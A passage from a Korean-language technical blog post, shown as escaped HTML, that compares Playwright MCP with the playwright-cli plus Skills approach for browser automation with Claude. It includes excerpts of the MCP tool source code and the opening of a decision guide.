&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;도구 파라미터에 제한됨&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;직접 명령어 조합 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;references 폴더로 즉시 참조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;프로덕션 테스트&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;POM 패턴 미지원&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;△ 직접 구현 가능하나 복잡&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;playwright-expert Skill로 완전 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;run-code 고급 API&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;△ 가능하나 가이드 없음&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;Skill 내 running-code.md 참조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Vision 모드&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;(--caps=vision)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Claude Desktop 호환&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;토큰 효율&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;상대적 비효율&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;효율적&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;효율적 + 패턴 최적화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 20px; margin: 20px 0; border-radius: 0 12px 12px 0;&quot;&gt;&lt;b&gt;핵심 결론&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Skills + CLI 조합이 실질적으로 MCP의 기능적 상위 호환입니다.&lt;/b&gt;&lt;br /&gt;MCP가 도구(tool) 설계에 모범 사례를 내장하는 것처럼, playwright-cli Skill은 CLI 사용에 동일한 구조화된 지식을 제공합니다. Vision 모드와 Claude Desktop이 필요하지 않다면, Skills + CLI가 더 강력하고 효율적인 선택입니다.&lt;/div&gt;
&lt;!-- 7. MCP vs CLI 독점 영역 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. MCP만 가능한 것 vs playwright-cli만 가능한 것&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MCP 고유 영역 (대체 불가)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 2px solid #0066cc; padding: 20px; border-radius: 12px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. Vision 모드 &amp;mdash; 스크린샷 기반 좌표 클릭&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size16&quot;&gt;접근성 트리가 없는 Canvas, WebGL, PDF 뷰어 등의 요소를 조작할 때 유일한 선택지다. MCP를 &lt;code&gt;--caps vision&lt;/code&gt; 플래그로 실행하면 스크린샷에서 X/Y 좌표를 직접 지정해 클릭할 수 있다. 게임, 그래프 인터랙션, 커스텀 캔버스 앱 테스트에 필수다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: monospace; font-size: 13px; margin-bottom: 15px;&quot;&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Vision 모드 활성화
npx @playwright/mcp@latest --caps vision

# Claude가 내부적으로: 스크린샷 찍고 &amp;rarr; 좌표 판단 &amp;rarr; 클릭
browser_take_screenshot()
# &amp;rarr; Claude: &quot;차트의 막대 그래프가 (450, 320) 위치에 있음&quot;
browser_mouse_click_xy({ x: 450, y: 320 })&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. Claude Desktop 호환성&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Desktop에서 브라우저 자동화를 사용하려면 MCP가 유일한 방법이다. playwright-cli 기반 접근은 Claude Code 환경에서만 동작하며, Claude Desktop의 UI에서는 Bash 명령 실행이 불가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Vision 모드는 대체 불가능한 고유 가치다&lt;/b&gt;&lt;br /&gt;접근성 트리가 존재하지 않는 UI는 생각보다 많다. Canvas API로 그린 커스텀 차트, WebGL 3D 뷰어, 일부 PDF.js 기반 뷰어 등이 이에 해당한다. 이런 환경에서 자동화가 필요하다면 Playwright MCP의 Vision 모드가 현실적으로 유일한 선택지다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;playwright-cli 우위 영역 (MCP에서 제한적)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0fff0; border: 2px solid #28a745; padding: 20px; border-radius: 12px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;다음 기능들은 playwright-cli가 MCP보다 훨씬 세밀한 제어를 제공한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;네트워크 모킹&lt;/b&gt; &amp;mdash; route / unroute (MCP 미지원)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;쿠키 관리&lt;/b&gt; &amp;mdash; cookie-list / cookie-get / cookie-set / cookie-delete / cookie-clear (MCP 미지원)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;스토리지 세밀 제어&lt;/b&gt; &amp;mdash; localstorage-list/get/set/delete/clear, sessionstorage-* (MCP 미지원)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;동적 세션 저장/복원&lt;/b&gt; &amp;mdash; state-save / state-load (MCP는 --storage-state 정적 주입만 가능)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;네임드 세션&lt;/b&gt; &amp;mdash; -s=name 옵션 (복수 사용자 병렬 테스트, MCP 미지원)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;구간별 트레이싱&lt;/b&gt; &amp;mdash; tracing-start / tracing-stop (MCP는 세션 전체 --save-trace만 가능)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;구간별 비디오 녹화&lt;/b&gt; &amp;mdash; video-start / video-stop (MCP는 세션 전체 --save-video만 가능)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;체크박스 명시적 제어&lt;/b&gt; &amp;mdash; check / uncheck (MCP 미지원)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;키보드 조합키&lt;/b&gt; &amp;mdash; press &quot;Control+A&quot;, press &quot;Shift+Enter&quot; 등 (MCP: browser_press_key와 동등)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;페이지 새로고침&lt;/b&gt; &amp;mdash; reload 명령 (MCP 미지원)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;테스트 코드 생성&lt;/b&gt; &amp;mdash; npx playwright codegen (@playwright/test 패키지)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 8. 소스 코드로 보는 내부 구조 --&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 소스 코드로 보는 내부 구조 &amp;mdash; 개발자 심화&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright MCP의 실제 구현이 얼마나 간단한지 궁금할 수 있다. 결론부터 말하면 &lt;b&gt;놀라울 정도로 단순하고 읽기 쉽다.&lt;/b&gt; 한 도구의 전체 구현이 보통 30~60줄이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;소스 위치 주의&lt;/b&gt;&lt;br /&gt;Playwright MCP의 실제 TypeScript 소스는 &lt;code&gt;microsoft/playwright-mcp&lt;/code&gt; 저장소에 &lt;b&gt;없다.&lt;/b&gt; 실제 구현은 &lt;b&gt;Playwright 모노레포&lt;/b&gt; 안에 있다.&lt;br /&gt;&lt;code&gt;microsoft/playwright&lt;/code&gt; &amp;rarr; &lt;code&gt;packages/playwright-core/src/tools/&lt;/code&gt; (도구 구현)&lt;br /&gt;&lt;code&gt;microsoft/playwright&lt;/code&gt; &amp;rarr; &lt;code&gt;packages/playwright-core/src/mcp/&lt;/code&gt; (MCP 서버 인프라)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8-1. 전체 아키텍처&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;코드베이스는 크게 두 레이어로 나뉜다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;axapta&quot; style=&quot;margin: 0; white-space: pre;&quot;&gt;&lt;code&gt;packages/playwright-core/src/
├── mcp/                         # MCP 서버 인프라
│   ├── index.ts                 # createConnection() 진입점
│   ├── sdk/
│   │   ├── server.ts            # MCP 프로토콜 핸들러, BackendManager
│   │   └── tool.ts              # ToolSchema &amp;rarr; MCP Tool 변환 (zod &amp;rarr; JSON Schema)
│   └── config.ts                # --caps, --vision 등 설정 처리
└── tools/                       # 개별 도구 구현 (파일당 1~N개 도구)
    ├── tool.ts                  # defineTool() / defineTabTool() 헬퍼
    ├── navigate.ts              # browser_navigate, browser_navigate_back &amp;hellip;
    ├── screenshot.ts            # browser_take_screenshot
    ├── snapshot.ts              # browser_snapshot (접근성 트리)
    ├── keyboard.ts              # browser_press_key, browser_type
    ├── mouse.ts                 # browser_mouse_move, browser_mouse_click_xy
    ├── network.ts               # browser_network_requests
    ├── tabs.ts                  # browser_tab_new, browser_tab_list &amp;hellip;
    └── &amp;hellip; (30개 이상 파일)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8-2. defineTool() &amp;mdash; 놀랍도록 단순한 헬퍼&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;defineTool()&lt;/code&gt;은 복잡한 미들웨어처럼 보이지만 실제로는 단 한 줄이다. TypeScript 제네릭 타입 추론을 위한 헬퍼일 뿐이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;scala&quot; style=&quot;margin: 0; white-space: pre;&quot;&gt;&lt;code&gt;// packages/playwright-core/src/tools/tool.ts

export type ToolCapability =
  'config' | 'core' | 'core-navigation' | 'core-tabs' | 'core-input'
  | 'network' | 'pdf' | 'storage' | 'testing' | 'vision' | 'devtools';

export type Tool&amp;lt;Input extends z.Schema = z.Schema&amp;gt; = {
  capability: ToolCapability;
  skillOnly?: boolean;             // true면 --caps에서 제외, Skills 전용
  schema: {
    name: string;
    title: string;
    description: string;
    inputSchema: Input;            // Zod 스키마 &amp;rarr; 자동으로 JSON Schema 변환
    type: 'input' | 'assertion' | 'action' | 'readOnly';
  };
  handle: (context: Context, params: z.output&amp;lt;Input&amp;gt;, response: Response) =&amp;gt; Promise&amp;lt;void&amp;gt;;
};

// 이게 전부다. 타입 추론 헬퍼일 뿐, 내부 로직 없음
export function defineTool&amp;lt;Input extends z.Schema&amp;gt;(tool: Tool&amp;lt;Input&amp;gt;): Tool&amp;lt;Input&amp;gt; {
  return tool;  // &amp;larr; 진짜로 이게 전부
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;type 필드와 MCP annotations 매핑&lt;/b&gt;&lt;br /&gt;&lt;code&gt;type: 'readOnly'&lt;/code&gt; 또는 &lt;code&gt;'assertion'&lt;/code&gt; &amp;rarr; &lt;code&gt;readOnlyHint: true, destructiveHint: false&lt;/code&gt;&lt;br /&gt;&lt;code&gt;type: 'action'&lt;/code&gt; 또는 &lt;code&gt;'input'&lt;/code&gt; &amp;rarr; &lt;code&gt;readOnlyHint: false, destructiveHint: true&lt;/code&gt;&lt;br /&gt;이 annotations를 MCP 클라이언트(Claude)가 읽고 도구 호출 여부를 판단한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8-3. browser_navigate 전체 구현 &amp;mdash; 46줄&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 도구 하나의 전체 구현이 어떤 모습인지 보자. &lt;code&gt;browser_navigate&lt;/code&gt;는 가장 기본적인 도구이면서 전형적인 패턴을 보여준다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;cs&quot; style=&quot;margin: 0; white-space: pre;&quot;&gt;&lt;code&gt;// packages/playwright-core/src/tools/navigate.ts (발췌)
import { z } from '../mcpBundle';
import { defineTool } from './tool';

const navigate = defineTool({
  capability: 'core-navigation',  // --caps 필터링 기준

  schema: {
    name: 'browser_navigate',
    title: 'Navigate to a URL',
    description: 'Navigate to a URL',
    inputSchema: z.object({
      url: z.string().describe('The URL to navigate to'),
    }),
    type: 'action',            // destructiveHint: true
  },

  handle: async (context, params, response) =&amp;gt; {
    const tab = await context.ensureTab();
    let url = params.url;

    // URL 정규화: 스킴 없으면 자동 추가
    try {
      new URL(url);
    } catch (e) {
      if (url.startsWith('localhost'))
        url = 'http://' + url;
      else
        url = 'https://' + url;
    }

    await tab.navigate(url);

    response.setIncludeSnapshot();            // 실행 후 접근성 트리 자동 포함
    response.addCode(`await page.goto('${url}');`); // Playwright 코드 생성
  },
});&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주목할 점 두 가지:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 0; padding-left: 24px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;response.setIncludeSnapshot()&lt;/code&gt; &amp;mdash; 도구 실행 결과에 접근성 트리가 자동으로 붙는 이유가 여기 있다. LLM이 다음 행동을 결정할 수 있도록 현재 페이지 상태를 함께 반환한다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;response.addCode(...)&lt;/code&gt; &amp;mdash; MCP가 실행하는 동시에 해당 동작의 Playwright 코드를 생성한다. &lt;b&gt;테스트 자동화 코드 생성&lt;/b&gt;의 기반이 바로 이 패턴이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8-4. capability 시스템 &amp;mdash; --caps 플래그의 정체&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;--caps=vision&lt;/code&gt;이나 &lt;code&gt;--caps=pdf&lt;/code&gt;가 어떻게 동작하는지 궁금했다면, 답은 간단하다. 각 도구가 선언한 &lt;code&gt;capability&lt;/code&gt; 필드로 필터링이 이루어진다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 18px 20px; border-radius: 8px; border: 1px solid #e9ecef; margin: 20px 0; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;capability 값&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;해당 도구 예시&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;활성화 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;core&lt;/code&gt;, &lt;code&gt;core-navigation&lt;/code&gt;, &lt;code&gt;core-input&lt;/code&gt;, &lt;code&gt;core-tabs&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;browser_navigate, browser_click, browser_type &amp;hellip;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;기본 활성화 (항상 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;vision&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;browser_mouse_click_xy, browser_mouse_move &amp;hellip;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;--caps=vision&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;pdf&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;browser_pdf_save&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;--caps=pdf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;network&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;browser_network_requests&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;--caps=network&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;storage&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;browser_get_cookies, browser_get_local_storage &amp;hellip;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;--caps=storage&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;devtools&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;browser_console_messages, browser_evaluate &amp;hellip;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;--caps=devtools&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;testing&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;테스트 관련 도구 (skillOnly 포함)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;--caps=testing&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;skillOnly: true 플래그의 의미&lt;/b&gt;&lt;br /&gt;일부 도구는 &lt;code&gt;skillOnly: true&lt;/code&gt;로 선언된다. 이 도구들은 &lt;code&gt;--caps&lt;/code&gt;로 활성화해도 MCP 도구 목록에 나타나지 않고, &lt;b&gt;Skills 모드&lt;/b&gt;에서만 사용 가능하다. &lt;code&gt;browser_navigate_forward&lt;/code&gt;가 대표적인 예다. Skills가 단순한 명칭이 아니라 별도의 도구 활성화 레이어임을 소스에서 확인할 수 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8-5. MCP 서버 전체 초기화 흐름&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;서버가 시작되고 첫 번째 도구 호출이 이루어지기까지의 흐름이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre;&quot;&gt;&lt;code&gt;// 1. 진입점 (packages/playwright-core/src/mcp/index.ts)
export async function createConnection(userConfig: Config = {}): Promise&amp;lt;Server&amp;gt; {
  const config = await resolveConfig(userConfig);
  const tools = filteredTools(config);  // capability 필터 적용
  return createServer('api', version, backendFactory, false);
}

// 2. 도구 호출 요청 처리 (sdk/server.ts)
server.setRequestHandler(CallToolRequestSchema, async (request) =&amp;gt; {
  // 첫 호출 시 브라우저 컨텍스트 생성 (lazy initialization)
  if (!backendPromise)
    backendPromise = initializeServer(server, factory, runHeartbeat);

  const backend = await backendPromise;
  return await backend.callTool(request.params.name, request.params.arguments);
});

// 3. 실제 도구 실행 (tools/browserServerBackend.ts)
async callTool(name: string, args: Arguments) {
  const tool = this._tools.find(t =&amp;gt; t.schema.name === name);
  await tool.handle(this._context, args, response); // navigate.ts의 handle() 호출
  return response.build();  // 접근성 트리 + 코드 + 텍스트 결합
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;브라우저는 Lazy 초기화&lt;/b&gt;된다. MCP 서버가 시작돼도 브라우저가 바로 뜨지 않고, &lt;b&gt;첫 번째 도구 호출이 들어올 때&lt;/b&gt; 비로소 브라우저 컨텍스트가 생성된다. 이 덕분에 MCP 서버를 등록해두고 필요할 때만 쓰는 패턴이 깔끔하게 동작한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 1px solid #cce5ff; border-left: 4px solid #0066cc; padding: 20px 24px; border-radius: 0 12px 12px 0; margin: 20px 0; font-size: 15px; line-height: 1.9;&quot;&gt;&lt;b&gt;직접 도구를 추가하고 싶다면?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;구조가 단순하므로 커스텀 도구 추가도 어렵지 않다. &lt;code&gt;defineTool({ capability, schema, handle })&lt;/code&gt; 패턴을 따르면 된다. 다만 소스가 Playwright 모노레포 안에 있어 직접 빌드가 필요하다는 점을 기억하자.&lt;br /&gt;&lt;br /&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/microsoft/playwright/tree/main/packages/playwright-core/src/tools&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&amp;rarr; 전체 도구 소스 보기 (GitHub)&lt;/a&gt;&lt;/div&gt;
&lt;!-- 8. 실전 선택 가이드 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 실전 선택 가이드 &amp;amp; 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;의사결정 플로우차트&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 24px; border-radius: 12px; border: 1px solid #e9ecef; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;font-family: monospace; font-size: 14px; line-height: 2.2;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q1. Claude Desktop에서 사용해야 하는가?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; padding-left: 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; YES: &lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 10px; border-radius: 10px; font-size: 12px;&quot;&gt;Playwright MCP 필수&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; padding-left: 20px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; NO: 다음 질문으로&lt;/p&gt;
